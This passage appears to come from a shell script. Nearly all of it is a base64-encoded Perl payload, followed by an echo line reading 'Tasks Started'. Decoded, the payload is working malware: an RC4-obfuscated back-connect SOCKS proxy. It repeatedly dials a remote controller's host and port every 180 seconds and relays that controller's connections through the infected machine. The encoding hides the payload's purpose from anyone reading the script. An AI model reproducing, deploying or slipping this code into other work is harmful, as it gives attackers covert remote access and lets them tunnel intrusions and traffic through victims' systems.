OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"
echo "--- Tasks Started ---"